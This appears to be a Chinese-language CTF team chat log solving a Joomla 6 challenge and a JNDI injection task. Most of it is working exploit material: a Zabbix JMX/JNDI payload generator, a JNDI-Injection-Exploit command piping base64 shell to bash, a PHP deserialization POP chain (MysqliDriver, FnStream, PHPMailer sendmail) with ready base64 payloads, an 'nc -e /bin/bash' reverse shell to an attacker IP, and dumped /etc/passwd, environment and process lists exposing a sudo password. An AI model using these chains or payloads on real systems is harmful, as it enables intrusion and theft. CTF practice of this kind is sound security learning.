1 2 3 4 5 <pre class="result-preview">Raw bytes: b'ZBXD\x01\x8c\x00\x00\x00\x00\x00\x00\x00{"response":"failed","error":"Unrecognized SSL message, plaintext connection?: service:jmx:rmi:\\/\\/\\/jndi\\/rmi:\\/\\/127.0.0.1:10052\\/jmxrmi"}' Hex: 5a425844018c000000000000007b22726573706f6e7365223a226661696c6564222c226572726f72223a22556e7265636f676e697a65642053534c206d6573736167652c20706c61696e7465787420636f6e6e656374696f6e3f3a20736572766963653a6a6d783a726d693a5c2f5c2f5c2f6a6e64695c2f726d693a5c2f5c2f3132372e302e302e313a31303035325c2f6a6d78726d69227d</pre>
Log4j 注入无效, 为什么会出”Unrecognized SSL message, plaintext connection?: service:jmx:rmi:\/\/\/jndi\/rmi:\/\/127.0.0.1:10052\/jmxrmi” 我不理解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import struct import json JNDI_URL = "service:jmx:rmi:///jndi/ldap://10.222.18.17:1389/2v5bxy" def generate_payload(): data = { "request": "java gateway jmx", "jmx_endpoint": JNDI_URL, "keys": ["system.cpu.load"] } json_body = json.dumps(data, separators=(',', ':')) # 构造头部: ZBXD\x01 header = b'ZBXD\x01' # 构造长度: 8字节小端序 length = struct.pack('<Q', len(json_body)) # 拼接完整 Payload payload = header + length + json_body.encode('utf-8') # 转换为 Nettools 需要的 hex 格式 (\xNN) hex_payload = "".join([f"\\x{b:02x}" for b in payload]) print(f"[+] JSON Body: {json_body}") print(f"[+] Payload Hex:\n{hex_payload}") if __name__ == "__main__": generate_payload()
1 2 3 4 5 6 echo -n 'cat /flag >> /opt/blogapp/blog/testssrf.txt' | base64 Y2F0IC9mbGFnID4+IC9vcHQvYmxvZ2FwcC9ibG9nL3Rlc3Rzc3JmLnR4dA== java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \ -C "bash -c {echo,Y2F0IC9mbGFnID4+IC9vcHQvYmxvZ2FwcC9ibG9nL3Rlc3Rzc3JmLnR4dA==}|{base64,-d}|{bash,-i}" \ -A 10.222.18.17
就行了
Joomla!
Joomla是世界上非常流行的软件包,它十分的安全,使用MVC结构组织代码,可扩展性非常的强大,被广泛的用于企业,政府,个人搭建web应用,目前全球范围内约2.8%(2014的统计数据)的网站是基于joomla搭建。在CMS全球市场份额占有约9%。现在来挖挖它最新版的反序列化吧!
内网地址 : 172.31.18.20
访问环境 :
http://172.31.18.20:80
VPN: (空闲)
项目源码 php版本好像必须大于8.3, libraries\vendor\guzzlehttp\psr7\src\FnStream.php 不能绕过wakeup的waf
unser.php 1 2 3 4 5 6 7 <?php require 'libraries/vendor/autoload.php'; define('_JEXEC',1); $ser = $_POST['unser']; unserialize(base64_decode($ser));
libraries\vendor\autoload.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php // autoload.php @generated by Composer if (PHP_VERSION_ID < 50600) { if (!headers_sent()) { header('HTTP/1.1 500 Internal Server Error'); } $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL; if (!ini_get('display_errors')) { if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { fwrite(STDERR, $err); } elseif (!headers_sent()) { echo $err; } } trigger_error( $err, E_USER_ERROR ); } require_once __DIR__ . '/composer/autoload_real.php'; return ComposerAutoloaderInitf577684c10af21b55e694ebddac803ca::getLoader();
libraries\vendor\composer\autoload_real.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php // autoload_real.php @generated by Composer class ComposerAutoloaderInitf577684c10af21b55e694ebddac803ca { private static $loader; public static function loadClassLoader($class) { if ('Composer\Autoload\ClassLoader' === $class) { require __DIR__ . '/ClassLoader.php'; } } /** * @return \Composer\Autoload\ClassLoader */ public static function getLoader() { if (null !== self::$loader) { return self::$loader; } require __DIR__ . '/platform_check.php'; spl_autoload_register(array('ComposerAutoloaderInitf577684c10af21b55e694ebddac803ca', 'loadClassLoader'), true, true); self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(__DIR__)); spl_autoload_unregister(array('ComposerAutoloaderInitf577684c10af21b55e694ebddac803ca', 'loadClassLoader')); require __DIR__ . '/autoload_static.php'; call_user_func(\Composer\Autoload\ComposerStaticInitf577684c10af21b55e694ebddac803ca::getInitializer($loader)); $loader->register(true); $filesToLoad = \Composer\Autoload\ComposerStaticInitf577684c10af21b55e694ebddac803ca::$files; $requireFile = \Closure::bind(static function ($fileIdentifier, $file) { if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) { $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true; require $file; } }, null, null); foreach ($filesToLoad as $fileIdentifier => $file) { $requireFile($fileIdentifier, $file); } return $loader; } }
libraries\vendor\composer\autoload_static.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public static $files = array ( '6e3fae29631ef280660b3cdad06f25a8' => __DIR__ . '/..' . '/symfony/deprecation-contracts/function.php', '0e6d7bf4a5811bfa5cf40c5ccd6fae6a' => __DIR__ . '/..' . '/symfony/polyfill-mbstring/bootstrap.php', '07d7f1a47144818725fd8d91a907ac57' => __DIR__ . '/..' . '/laminas/laminas-diactoros/src/functions/create_uploaded_file.php', 'da94ac5d3ca7d2dbab84ce561ce72bfd' => __DIR__ . '/..' . '/laminas/laminas-diactoros/src/functions/marshal_headers_from_sapi.php', '3d97c8dcdfba8cb85d3b34f116bb248b' => __DIR__ . '/..' . '/laminas/laminas-diactoros/src/functions/marshal_method_from_sapi.php', 'e6f3bc6883e449ab367280b34158c05b' => __DIR__ . '/..' . '/laminas/laminas-diactoros/src/functions/marshal_protocol_version_from_sapi.php', 'de95e0ac670b27c84ef8c5ac41fc1b34' => __DIR__ . '/..' . '/laminas/laminas-diactoros/src/functions/normalize_server.php', 'b6c2870932b0250c10334a86dcb33c7f' => __DIR__ . '/..' . '/laminas/laminas-diactoros/src/functions/normalize_uploaded_files.php', 'd02cf21124526632320d6f20b1bbf905' => __DIR__ . '/..' . '/laminas/laminas-diactoros/src/functions/parse_cookie_header.php', '320cde22f66dd4f5d3fd621d3e88b98f' => __DIR__ . '/..' . '/symfony/polyfill-ctype/bootstrap.php', '8825ede83f2f289127722d4e842cf7e8' => __DIR__ . '/..' . '/symfony/polyfill-intl-grapheme/bootstrap.php', 'e69f7f6ee287b969198c3c9d6777bd38' => __DIR__ . '/..' . '/symfony/polyfill-intl-normalizer/bootstrap.php', 'b6b991a57620e2fb6b2f66f03fe9ddc2' => __DIR__ . '/..' . '/symfony/string/Resources/functions.php', '667aeda72477189d0494fecd327c3641' => __DIR__ . '/..' . '/symfony/var-dumper/Resources/functions/dump.php', '3109cb1a231dcd04bee1f9f620d46975' => __DIR__ . '/..' . '/paragonie/sodium_compat/autoload.php', '7b11c4dc42b3b3023073cb14e519683c' => __DIR__ . '/..' . '/ralouphie/getallheaders/src/getallheaders.php', '09f6b20656683369174dd6fa83b7e5fb' => __DIR__ . '/..' . '/symfony/polyfill-uuid/bootstrap.php', 'b45b351e6b6f7487d819961fef2fda77' => __DIR__ . '/..' . '/jakeasmith/http_build_url/src/http_build_url.php', 'decc78cc4436b1292c6c0d151b19445c' => __DIR__ . '/..' . '/phpseclib/phpseclib/phpseclib/bootstrap.php', '56823cacd97af379eceaf82ad00b928f' => __DIR__ . '/..' . '/phpseclib/bcmath_compat/lib/bcmath.php', );
?
加载机制 :libraries/vendor/autoload.php 通常遵循 PSR-4 标准。这意味着除了 Joomla 自身的 Joomla\... 命名空间外,任何位于 libraries/vendor 下的第三方库都可以被自动加载并用于构造 POP 链
Joomla Core 存在 (Namespaced) :joomla/database/src 目录表明使用的是带有命名空间(Namespace)的新版 Joomla 架构。最经典且最稳健的利用链依然是 Database Driver 析构链 。
GuzzleHttp PSR7 存在 :guzzlehttp/psr7 存在。如果版本合适,可以使用 FnStream 进行文件写入或 RCE。
1 2 3 4 5 6 Joomla Driver 在析构时调用 $this->connection->close()。 将 $this->connection 设置为 FnStream 对象。 FnStream::close() 会执行 ($this->_fn_close)(),注意无参调用 设置 _fn_close 为 'phpinfo'。[2] 绕过 __wakeup: 我们构造一个包裹数组,并在序列化字符串末尾人为制造语法错误(Truncate),导致 unserialize 报错。在 PHP 内部机制中,这会触发已创建对象(FnStream)的 "Fast Destruct",从而在 __wakeup 抛出异常之前(或错误中断时)就执行析构,触发 Payload
拿到info了(执行无参函数)
1 2 3 unser= YToxOntpOjA7TzozNToiSm9vbWxhXERhdGFiYXNlXE15c3FsaVxNeXNxbGlEcml2ZXIiOjI6e3M6MTM6IgAqAGNvbm5lY3Rpb24iO086MjQ6Ikd1enpsZUh0dHBcUHNyN1xGblN0cmVhbSI6Mjp7czozMzoiAEd1enpsZUh0dHBcUHNyN1xGblN0cmVhbQBtZXRob2RzIjthOjE6e3M6NToiY2xvc2UiO3M6NzoicGhwaW5mbyI7fXM6OToiX2ZuX2Nsb3NlIjtzOjc6InBocGluZm8iO31zOjIxOiIAKgBkaXNjb25uZWN0SGFuZGxlcnMiO2E6MDp7fX0=
看看怎么RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php namespace GuzzleHttp\Psr7 { class FnStream { // 设置方法,让它认为 close 方法已存在 private $methods = ['close' => 'phpinfo']; // 核心 Payload: 当 close 被调用时执行的函数 public $_fn_close = 'phpinfo'; public function __wakeup() {} // 占位 } } namespace Joomla\Database\Mysqli { class MysqliDriver { protected $connection; protected $disconnectHandlers; public function __construct() { // 让 Driver 以为 connection 是一个有效的 MySQL 连接对象 // 析构时会调用 $this->connection->close() $this->connection = new \GuzzleHttp\Psr7\FnStream(); // 保持为空,我们不走 call_user_func 那条路 $this->disconnectHandlers = []; } } } namespace { $driver = new \Joomla\Database\Mysqli\MysqliDriver(); $wrapper = [$driver]; $ser = serialize($wrapper); // 移除最后一个 '}' 字符,导致 unserialize 报错,强制触发已生成对象的析构函数 // 从而绕过 Guzzle FnStream 内部对 __wakeup 的防护 $malicious_ser = substr($ser, 0, -1); echo base64_encode($malicious_ser); echo "\n"; }
libraries\vendor\phpmailer\phpmailer\src\PHPMailer.php 能不能把信息传出来 红了
send() -> postSend() -> sendmailSend()
1 2 3 4 // PHPMailer.php $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender); $mail = @popen($sendmail, 'w');
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <?php namespace Joomla\Database\Mysqli { class MysqliDriver { protected $connection; protected $disconnectHandlers = []; public function __construct($connection) { $this->connection = $connection; } } } namespace GuzzleHttp\Psr7 { class FnStream { public $_fn_close; private $methods = []; public function __construct($callback) { $this->_fn_close = $callback; $this->methods = ['close' => '1']; } } } namespace PHPMailer\PHPMailer { class PHPMailer { public $Mailer = 'sendmail'; public $Sendmail = 'ls'; public $From = 'admin@localhost.com'; public $Sender = 'admin@localhost.com'; public $Subject = 'FlagCheck'; public $Body = 'GiveMeFlag'; public $SMTPDebug = 3; public $Debugoutput = 'echo'; protected $to = []; protected $cc = []; protected $bcc = []; protected $ReplyTo = []; protected $all_recipients = []; protected $RecipientsQueue = []; protected $ReplyToQueue = []; protected $attachment = []; protected $CustomHeader = []; protected $boundary = []; protected $language = []; protected $exceptions = false; protected $SingleToArray = []; public function __construct() { $this->to[] = ['admin@localhost.com', 'Admin']; $this->all_recipients['admin@localhost.com'] = true; } } } namespace { $mailer = new \PHPMailer\PHPMailer\PHPMailer(); $fnStream = new \GuzzleHttp\Psr7\FnStream([$mailer, 'send']); $driver = new \Joomla\Database\Mysqli\MysqliDriver($fnStream); $wrapper = [$driver]; $ser = serialize($wrapper); $payload = substr($ser, 0, -1); echo base64_encode($payload); echo "\n"; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 HTTP/1.1 200 OK Date: Wed, 26 Nov 2025 08:24:35 GMT Server: Apache/2.4.65 (Debian) X-Powered-By: PHP/8.3.28 Vary: Accept-Encoding Content-Length: 931 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 2025-11-26 08:24:35 Sending with sendmail 2025-11-26 08:24:35 Sendmail path: /bin/cat /flag 2025-11-26 08:24:35 Sendmail command: /bin/cat /flag -oi -fadmin@localhost.com -t 2025-11-26 08:24:35 Envelope sender: admin@localhost.com 2025-11-26 08:24:35 Headers: Date: Wed, 26 Nov 2025 08:24:35 +0000 To: Admin <admin@localhost.com> From: admin@localhost.com Subject: FlagCheck Message-ID: <60cqaAFubssuyGTvsupAunlaLNHh23WByXjmVUJR8mI@172.31.18.20> X-Mailer: PHPMailer 6.10.0 (https://github.com/PHPMailer/PHPMailer) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 2025-11-26 08:24:35 Result: false 2025-11-26 08:24:35 Could not execute: /bin/cat /flag
卧槽了 Could not execute 为什么
cat /flag -- 也不行
@popen()被拼成@popen(“ls -oi -fadmin@localhost.com -t”,”w”)了,能成功执行嘛
Cat 加 – 不知道行不行, ls不行
~有点没招~~
感觉是能用的,写文件?(没写成功
“cat /flag ^> aaa.txt – -oi -fadmin@localhost.com -t” >被转义了 cp呢
能cat >>追加到index里面去吗(bu 现在权限是ctf的用户权限 应该是大于www-data, cp了还是读不了吧 cat /etc/passwd都执行不了 我本地cat是能执行的,就是回显不了
1 2 3 4 5 6 7 8 cat /flag > aaa.txt -- [Wed Nov 26 17:29:35 2025] 127.0.0.1:49183 Accepted [Wed Nov 26 17:29:35 2025] PHP Warning: unserialize(): Error at offset 978 of 978 bytes in /mnt/e/CTF/qwnt_final/Joomla_6.0.0/unser.php on line 6 sdasdasdasdadadsadsd //这就是flag cat: '>': No such file or directory cat: aaa.txt: No such file or directory cat: -fadmin@localhost.com: No such file or directory
啊?
传了什么
你是本地吗 是 LCE
远程直接500了这个 你能连上靶机嘛 vpn 我试试 嘶我也500了
ok
不对我本地也是500,但能执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [Wed Nov 26 17:48:22 2025] 127.0.0.1:57860 Accepted [Wed Nov 26 17:48:22 2025] PHP Warning: unserialize(): Error at offset 978 of 978 bytes in /mnt/e/CTF/qwnt_final/Joomla_6.0.0/unser.php on line 6 sdasdasdasdadadsadsd cat: '>': No such file or directory cat: aaa.txt: No such file or directory cat: -fadmin@localhost.com: No such file or directory cat: -t: No such file or directory [Wed Nov 26 17:48:22 2025] PHP Fatal error: Uncaught LogicException: FnStream should never be unserialized in /mnt/e/CTF/qwnt_final/Joomla_6.0.0/libraries/vendor/guzzlehttp/psr7/src/FnStream.php:68 Stack trace: #0 [internal function]: GuzzleHttp\Psr7\FnStream->__wakeup() #1 /mnt/e/CTF/qwnt_final/Joomla_6.0.0/unser.php(6): unserialize() #2 {main} thrown in /mnt/e/CTF/qwnt_final/Joomla_6.0.0/libraries/vendor/guzzlehttp/psr7/src/FnStream.php on line 68 [Wed Nov 26 17:48:22 2025] 127.0.0.1:57860 [500]: POST /unser.php - Uncaught LogicException: FnStream should never be unserialized in /mnt/e/CTF/qwnt_final/Joomla_6.0.0/libraries/vendor/guzzlehttp/psr7/src/FnStream.php:68 Stack trace: #0 [internal function]: GuzzleHttp\Psr7\FnStream->__wakeup() #1 /mnt/e/CTF/qwnt_final/Joomla_6.0.0/unser.php(6): unserialize() #2 {main} thrown in /mnt/e/CTF/qwnt_final/Joomla_6.0.0/libraries/vendor/guzzlehttp/psr7/src/FnStream.php on line 68 [Wed Nov 26 17:48:22 2025] 127.0.0.1:57860 Closing
它wakeup失败就500了应该,要不直接弹试试?连vpn能弹吗()
反弹shell吗 连了vpn会给你一个新ip应该是可以访问 10.222.18.17(这是我的) 。。我不大会用
但是不确定靶机上有什么, https://forum.ywhack.com/shell.php 这里可以直接复制 ip和端口可以改
1 2 3 4 5 6 7 kali sudo nc -lvnp 2525 listening on [any] 2525 ... 靶机 nc -e /bin/bash 10.222.18.17 2525
疑似弹不出, 感觉还是之前无法直接执行命令一样的问题
现在相当于 nc -e /bin/bash 10.222.18.17 2525 -oi -fadmin@localhost.com -t 了 这个不吃注释的影响 (确实
1 2 cat /etc/passwd\;\#\# -oi -fadmin@localhost.com -t
注释符 会被\转义失效
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin mysql:x:100:101:MariaDB Server:/nonexistent:/bin/false ctf:x:1000:1000::/home/ctf:/bin/bash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 APACHE_CONFDIR=/etc/apache2 HOSTNAME=7485d01a3287 PHP_INI_DIR=/usr/local/etc/php SHLVL=0 PHP_LDFLAGS=-Wl,-O1 -pie APACHE_RUN_DIR=/var/run/apache2 PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 PHP_VERSION=8.3.28 APACHE_PID_FILE=/var/run/apache2/apache2.pid GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA PHP_ASC_URL=https://www.php.net/distributions/php-8.3.28.tar.xz.asc PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 PHP_URL=https://www.php.net/distributions/php-8.3.28.tar.xz TERM=xterm PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin APACHE_LOCK_DIR=/var/lock/apache2 LANG=C DEBIAN_FRONTEND=noninteractive APACHE_RUN_GROUP=ctf APACHE_RUN_USER=ctf APACHE_LOG_DIR=/var/log/apache2 PWD=/var/www/html PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c PHP_SHA256=25e3860f30198a386242891c0bf9e2955931f7b666b96c3e3103d36a2a322326 APACHE_ENVVARS=/etc/apache2/envvars TZ=Asia/Shanghai APACHE_CONFDIR=/etc/apache2 HOSTNAME=7485d01a3287 PHP_INI_DIR=/usr/local/etc/php SHLVL=0 PHP_LDFLAGS=-Wl,-O1 -pie APACHE_RUN_DIR=/var/run/apache2 PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 PHP_VERSION=8.3.28 APACHE_PID_FILE=/var/run/apache2/apache2.pid GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA PHP_ASC_URL=https://www.php.net/distributions/php-8.3.28.tar.xz.asc PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 PHP_URL=https://www.php.net/distributions/php-8.3.28.tar.xz TERM=xterm PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin APACHE_LOCK_DIR=/var/lock/apache2 LANG=C DEBIAN_FRONTEND=noninteractive APACHE_RUN_GROUP=ctf APACHE_RUN_USER=ctf APACHE_LOG_DIR=/var/log/apache2 PWD=/var/www/html PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c PHP_SHA256=25e3860f30198a386242891c0bf9e2955931f7b666b96c3e3103d36a2a322326 APACHE_ENVVARS=/etc/apache2/envvars TZ=Asia/Shanghai
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 #!/bin/sh # run htcacheclean if set to 'cron' mode set -e set -u type htcacheclean > /dev/null 2>&1 || exit 0 [ -e /etc/default/apache-htcacheclean ] || exit 0 # edit /etc/default/apache-htcacheclean to change this HTCACHECLEAN_MODE=daemon HTCACHECLEAN_RUN=auto HTCACHECLEAN_SIZE=300M HTCACHECLEAN_PATH=/var/cache/apache2/mod_cache_disk HTCACHECLEAN_OPTIONS="" . /etc/default/apache-htcacheclean [ "$HTCACHECLEAN_MODE" = "cron" ] || exit 0 htcacheclean ${HTCACHECLEAN_OPTIONS} \ -p${HTCACHECLEAN_PATH} \ -l${HTCACHECLEAN_SIZE} #!/bin/sh set -e # Systemd systems use a systemd timer unit which is preferable to # run. We want to randomize the apt update and unattended-upgrade # runs as much as possible to avoid hitting the mirrors all at the # same time. The systemd time is better at this than the fixed # cron.daily time if [ -d /run/systemd/system ]; then exit 0 fi check_power() { # laptop check, on_ac_power returns: # 0 (true) System is on main power # 1 (false) System is not on main power # 255 (false) Power status could not be determined # Desktop systems always return 255 it seems if command -v on_ac_power >/dev/null; then if on_ac_power; then : elif [ $? -eq 1 ]; then return 1 fi fi return 0 } # sleep for a random interval of time (default 30min) # (some code taken from cron-apt, thanks) random_sleep() { RandomSleep=1800 eval $(apt-config shell RandomSleep APT::Periodic::RandomSleep) if [ $RandomSleep -eq 0 ]; then return fi if [ -z "$RANDOM" ] ; then # A fix for shells that do not have this bash feature. RANDOM=$(( $(dd if=/dev/urandom bs=2 count=1 2> /dev/null | cksum | cut -d' ' -f1) % 32767 )) fi TIME=$(($RANDOM % $RandomSleep)) sleep $TIME } # delay the job execution by a random amount of time random_sleep # ensure we don't do this on battery check_power || exit 0 # run daily job exec /usr/lib/apt/apt.systemd.daily #!/bin/sh # Skip if systemd is running. if [ -d /run/systemd/system ]; then exit 0 fi /usr/libexec/dpkg/dpkg-db-backup #!/bin/sh # run htcacheclean if set to 'cron' mode set -e set -u type htcacheclean > /dev/null 2>&1 || exit 0 [ -e /etc/default/apache-htcacheclean ] || exit 0 # edit /etc/default/apache-htcacheclean to change this HTCACHECLEAN_MODE=daemon HTCACHECLEAN_RUN=auto HTCACHECLEAN_SIZE=300M HTCACHECLEAN_PATH=/var/cache/apache2/mod_cache_disk HTCACHECLEAN_OPTIONS="" . /etc/default/apache-htcacheclean [ "$HTCACHECLEAN_MODE" = "cron" ] || exit 0 htcacheclean ${HTCACHECLEAN_OPTIONS} \ -p${HTCACHECLEAN_PATH} \ -l${HTCACHECLEAN_SIZE} #!/bin/sh set -e # Systemd systems use a systemd timer unit which is preferable to # run. We want to randomize the apt update and unattended-upgrade # runs as much as possible to avoid hitting the mirrors all at the # same time. The systemd time is better at this than the fixed # cron.daily time if [ -d /run/systemd/system ]; then exit 0 fi check_power() { # laptop check, on_ac_power returns: # 0 (true) System is on main power # 1 (false) System is not on main power # 255 (false) Power status could not be determined # Desktop systems always return 255 it seems if command -v on_ac_power >/dev/null; then if on_ac_power; then : elif [ $? -eq 1 ]; then return 1 fi fi return 0 } # sleep for a random interval of time (default 30min) # (some code taken from cron-apt, thanks) random_sleep() { RandomSleep=1800 eval $(apt-config shell RandomSleep APT::Periodic::RandomSleep) if [ $RandomSleep -eq 0 ]; then return fi if [ -z "$RANDOM" ] ; then # A fix for shells that do not have this bash feature. RANDOM=$(( $(dd if=/dev/urandom bs=2 count=1 2> /dev/null | cksum | cut -d' ' -f1) % 32767 )) fi TIME=$(($RANDOM % $RandomSleep)) sleep $TIME } # delay the job execution by a random amount of time random_sleep # ensure we don't do this on battery check_power || exit 0 # run daily job exec /usr/lib/apt/apt.systemd.daily #!/bin/sh # Skip if systemd is running. if [ -d /run/systemd/system ]; then exit 0 fi /usr/libexec/dpkg/dpkg-db-backup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 UID PID PPID C STIME TTY TIME CMD root 1 0 0 12:02 pts/0 00:00:00 apache2 -DFOREGROUND root 10 1 0 12:02 pts/0 00:00:00 /bin/sh /usr/bin/mysqld_safe --user=mysql --skip-name-resolve --skip-networking=0 --socket=/run/mysqld/mysqld.sock mysql 116 10 0 12:02 pts/0 00:00:29 /usr/sbin/mariadbd --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-name-resolve --skip-networking=0 --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/run/mysqld/mysqld.sock root 117 10 0 12:02 pts/0 00:00:00 logger -t mysqld -p daemon error root 156 1 0 12:02 pts/0 00:00:00 /bin/sh /usr/local/bin/docker-php-entrypoint apache2-foreground ctf 175 1 0 12:02 ? 00:00:00 script -q -f -c sh -lc "echo c2Gq01N | sudo -S -v >/dev/null 2>&1; sleep infinity" /dev/null ctf 176 175 0 12:02 pts/1 00:00:00 sh -lc echo c2Gq01N | sudo -S -v >/dev/null 2>&1; sleep infinity ctf 195 1 0 12:02 pts/0 00:00:00 apache2 -DFOREGROUND ctf 198 1 0 12:02 pts/0 00:00:00 apache2 -DFOREGROUND ctf 200 176 0 12:02 pts/1 00:00:00 sleep infinity ctf 299 1 0 12:06 pts/0 00:00:00 apache2 -DFOREGROUND ctf 301 1 0 12:06 pts/0 00:00:00 apache2 -DFOREGROUND ctf 302 1 0 12:06 pts/0 00:00:00 apache2 -DFOREGROUND ctf 1975 1 0 13:15 pts/0 00:00:00 apache2 -DFOREGROUND ctf 3870 1 0 14:33 pts/0 00:00:00 apache2 -DFOREGROUND ctf 8827 1 0 17:38 pts/0 00:00:00 apache2 -DFOREGROUND ctf 8832 1 0 17:38 pts/0 00:00:00 apache2 -DFOREGROUND ctf 8833 1 0 17:38 pts/0 00:00:00 apache2 -DFOREGROUND ctf 11086 3870 0 18:45 pts/0 00:00:00 sh -c -- Sendmail path: sudo cat /hint -- root 11087 11086 0 18:45 pts/0 00:00:00 sudo cat /hint ctf 11104 8832 0 18:46 pts/0 00:00:00 sh -c -- Sendmail path: sudo cat /hint -- root 11105 11104 0 18:46 pts/0 00:00:00 sudo cat /hint root 11119 156 0 18:47 pts/0 00:00:00 sleep 5s ctf 11123 198 0 18:47 pts/0 00:00:00 sh -c -- Sendmail path: ps -efww -- ctf 11124 11123 0 18:47 pts/0 00:00:00 ps -efww UID PID PPID C STIME TTY TIME CMD root 1 0 0 12:02 pts/0 00:00:00 apache2 -DFOREGROUND root 10 1 0 12:02 pts/0 00:00:00 /bin/sh /usr/bin/mysqld_safe --user=mysql --skip-name-resolve --skip-networking=0 --socket=/run/mysqld/mysqld.sock mysql 116 10 0 12:02 pts/0 00:00:29 /usr/sbin/mariadbd --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-name-resolve --skip-networking=0 --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/run/mysqld/mysqld.sock root 117 10 0 12:02 pts/0 00:00:00 logger -t mysqld -p daemon error root 156 1 0 12:02 pts/0 00:00:00 /bin/sh /usr/local/bin/docker-php-entrypoint apache2-foreground ctf 175 1 0 12:02 ? 00:00:00 script -q -f -c sh -lc "echo c2Gq01N | sudo -S -v >/dev/null 2>&1; sleep infinity" /dev/null ctf 176 175 0 12:02 pts/1 00:00:00 sh -lc echo c2Gq01N | sudo -S -v >/dev/null 2>&1; sleep infinity ctf 195 1 0 12:02 pts/0 00:00:00 apache2 -DFOREGROUND ctf 198 1 0 12:02 pts/0 00:00:00 apache2 -DFOREGROUND ctf 200 176 0 12:02 pts/1 00:00:00 sleep infinity ctf 299 1 0 12:06 pts/0 00:00:00 apache2 -DFOREGROUND ctf 301 1 0 12:06 